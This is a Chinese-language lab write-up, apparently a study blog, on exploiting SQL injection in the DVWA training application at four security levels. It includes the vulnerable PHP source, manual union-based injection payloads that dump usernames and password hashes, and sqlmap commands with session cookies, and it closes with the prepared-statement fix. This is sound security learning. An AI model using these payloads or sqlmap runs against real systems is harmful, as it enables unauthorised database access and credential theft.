DVWA SQL Injection

前言

记录学习DVWA中的SQL注入过程,包括手工注入、SQLmap注入两部分。

目的:爆破数据库,通过SQL注入,找到dvwa网站所有的用户名及密码。

LOW

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# low.php
<?php
if(isset($_REQUEST['Submit'])){
// Get input
$id = $_REQUEST['id'];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],$query ) or die('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))? mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res = mysqli_connect_error())? $___mysqli_res : false)).'</pre>');
// Get results
while($row = mysqli_fetch_assoc($result)){
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>

分析:服务器端的low.php并没有对客户输入的id进行任何检查与过滤,直接将SQL语句的执行结果显示给客户端。

手动注入

注入判断

判断是否存在注入以及注入类型——字符型/数字型

  1. 输入1,查询成功;

  2. 输入1' and '1'='2查询失败,无回显;

  3. 输入1' and '1'='1查询成功;

  4. 输入1'报错;

根据上述发现猜测存在字符型注入

猜解SQL查询语句中的字段数

使用order by猜测SQL查询语句中的字段数,为union查询做准备

  1. 输入1' or 1=1 order by 1 #,查询成功;

  2. 输入1' or 1=1 order by 2 #,查询成功;

  3. 输入1' or 1=1 order by 3 #,查询失败;

说明查询语句中存在2个字段,即First name和Surname;

确定显示字段顺序

输入1' union select 1,2 #,查询成功,两个字段显示如下;

获取当前数据库和用户名

输入1' union select database(),user() #,查看数据库为dvwa,用户为dvwa;

获取数据库中的表

输入1' union select TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA='dvwa' #,获取表名为guestbook和users

获取表中的字段名

输入1' union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME='users' #,获取字段如下user_id、first_name、last_name、user、password、avatar、last_login、failed_login、USER、CURRENT_CONNECTIONS、TOTAL_CONNECTIONS、id、username;

下载数据

输入1' union select user,password from users #,获取users表中的所有用户和密码;

查看表guestbook同理。

SQLmap注入

注入判断

注意:dvwa需要登录才能访问漏洞测试页面,所以使用sqlmap时需要提交登录后的cookie,cookie中有关于dvwa的security level设置属性;

输入sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=qifnr3h532238h8989qf2vlcg5",发现存在SQL注入点id(GET),数据库类型为mysql;

爆破数据库

输入 sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=qifnr3h532238h8989qf2vlcg5" --dbs,爆破数据库如下;

爆破数据表

选择dvwa数据库,输入sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=qifnr3h532238h8989qf2vlcg5" -D dvwa --tables,爆破数据表如下;

爆破字段

选择users表,输入sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=qifnr3h532238h8989qf2vlcg5" -D dvwa -T users --columns,爆破字段如下;

爆破字段内容

输入sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=qifnr3h532238h8989qf2vlcg5" -D dvwa -T users -C user,password --dump,爆破user、password字段内容如下;

MEDIUM

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# medium.php
<?php
if(isset($_POST['Submit'])){
// Get input
$id = $_POST['id'];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"],$id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],$query) or die('<pre>'.mysqli_error($GLOBALS["___mysqli_ston"]).'</pre>');
// Get results
while( $row = mysqli_fetch_assoc($result)){
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID:{$id}<br/>First name:{$first}<br/>Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],$query) or die('<pre>'.((is_object($GLOBALS["___mysqli_ston"]))?mysqli_error($GLOBALS["___mysqli_ston"]):(($___mysqli_res=mysqli_connect_error())?$___mysqli_res:false)).'</pre>');
$number_of_rows = mysqli_fetch_row($result)[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>

分析:改用POST方式提交,对id进行了mysqli_real_escape_string()函数过滤,但SQL语句存在数字型注入;

mysqli_real_escape_string()函数语法:

1
mysqli_real_escape_string(connection,escapestring);
参数 描述
connection 必需,规定要使用的 MySQL 连接。
escapestring 必需,要转义的字符串。编码的字符是NULL(ASCII 0)、\n、\r、\、’、” 和 Control-Z。

手动注入

注入判断

POST方式传递,采用抓包更改参数;

  1. 抓包更改id为1' and '1'='1,报错,显示字符被转义,不是字符型注入;

  2. 抓包更改id为1 and 1=2,无回显;

  3. 抓包更改id为1 and 1=1,有回显如下;

  4. 抓包更改id为1 or 1=1,有回显如下;

根据上述发现猜测存在数字型注入

猜解SQL查询语句中的字段数

使用order by猜测SQL查询语句中的字段数,为union查询做准备

  1. 更改id为1 or 1=1 order by 1 #,查询成功;

  2. 更改id为1 or 1=1 order by 2 #,查询成功;

  3. 更改id为1 or 1=1 order by 3 #,查询失败;

说明查询语句中存在2个字段,即First name和Surname;

确定显示字段顺序

更改id为1 union select 1,2 #,查询成功,两个字段显示如下;

获取当前数据库和用户名

更改id为1 union select database(),user() #,查询成功,数据库为dvwa,用户为dvwa;

获取数据库中的表

更改id为1 union select TABLE_NAME,2 form information_schema.TABLES where TABLE_SCHEMA=database() #,查询成功,获取表如下;(此处的数据库名称也可为十六进制)

获取表中的字段名

更改id为1 union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=0x7573657273 #,获取字段如下user_id、first_name、last_name、user、password、avatar、last_login、failed_login、USER、CURRENT_CONNECTIONS、TOTAL_CONNECTIONS、id、username;

下载数据

更改id为1 union select user,password from users #,获取users表中的所有用户和密码;

SQLmap注入

SQLmap进行POST注入过程如下:

截获数据包

将截获的数据包复制到文件data.txt中

![image-20201115223004551](/Users/leeyuxun/Library/Application Support/typora-user-images/image-20201115223004551.png)

注入判断

输入sqlmap -r data.txt -p id,发现存在SQL注入点id(POST),数据库类型为mysql;-r表示读取文件,-p表示注入参数;

爆破数据库

输入sqlmap -r data.txt -p id -dbs,获取数据库;

爆破数据表

选择dvwa数据库,输入sqlmap -r data.txt -p id -D dvwa --tables,获取dvwa数据库的数据表;

爆破字段

选择users数据表,输入sqlmap -r data.txt -p id -D dvwa -T users --columns,获取users表的字段;

爆破字段内容

输入sqlmap -r data.txt -p id -D dvwa -T users -C user,password --dump,爆破user和password字段内容;

HIGH

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#high.php
<?php
if(isset($_SESSION['id'])){
// Get input
$id = $_SESSION['id'];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],$query) or die('<pre>Something went wrong.</pre>');
// Get results
while($row = mysqli_fetch_assoc($result)){
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

分析:加了limit 1限制输出,但是可以直接使用#注释掉,解法与Low Security Level相同。

查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止常规的SQLMap扫描注入测试,因为SQLMap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入;

但是并不代表High级别不能用SQLMap进行注入测试,此时需要利用其非常规的命令联合操作,如:--second-url="xxxurl"(设置二阶响应的结果显示页面的url)

输入sqlmap -r data.txt -p id --second-url="http://localhost/dvwa/vulnerabilities/sqli/index.php"检测是否存在SQL注入,结果如下,存在注入点,后续操作与MEDIUM注入相同;

IMPOSSIBLE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#impossible.php
<?php
if(isset($_GET['Submit'])){
// Check Anti-CSRF token
checkToken($_REQUEST['user_token'],$_SESSION['session_token'],'index.php');
// Get input
$id = $_GET['id'];
// Was a number entered?
if(is_numeric($id)){
// Check the database
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id',$id,PDO::PARAM_INT);
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if($data->rowCount()==1){
// Get values
$first = $row['first_name'];
$last = $row['last_name'];
// Feedback for end user
echo "<pre>ID: {$id}<br/>First name: {$first}<br/>Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>

分析:采用了PDO技术,划清了代码与数据的界限,有效防御 SQL 注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了SQL注入攻击,Anti-CSRFtoken 机制的加入了进一步提高了安全性。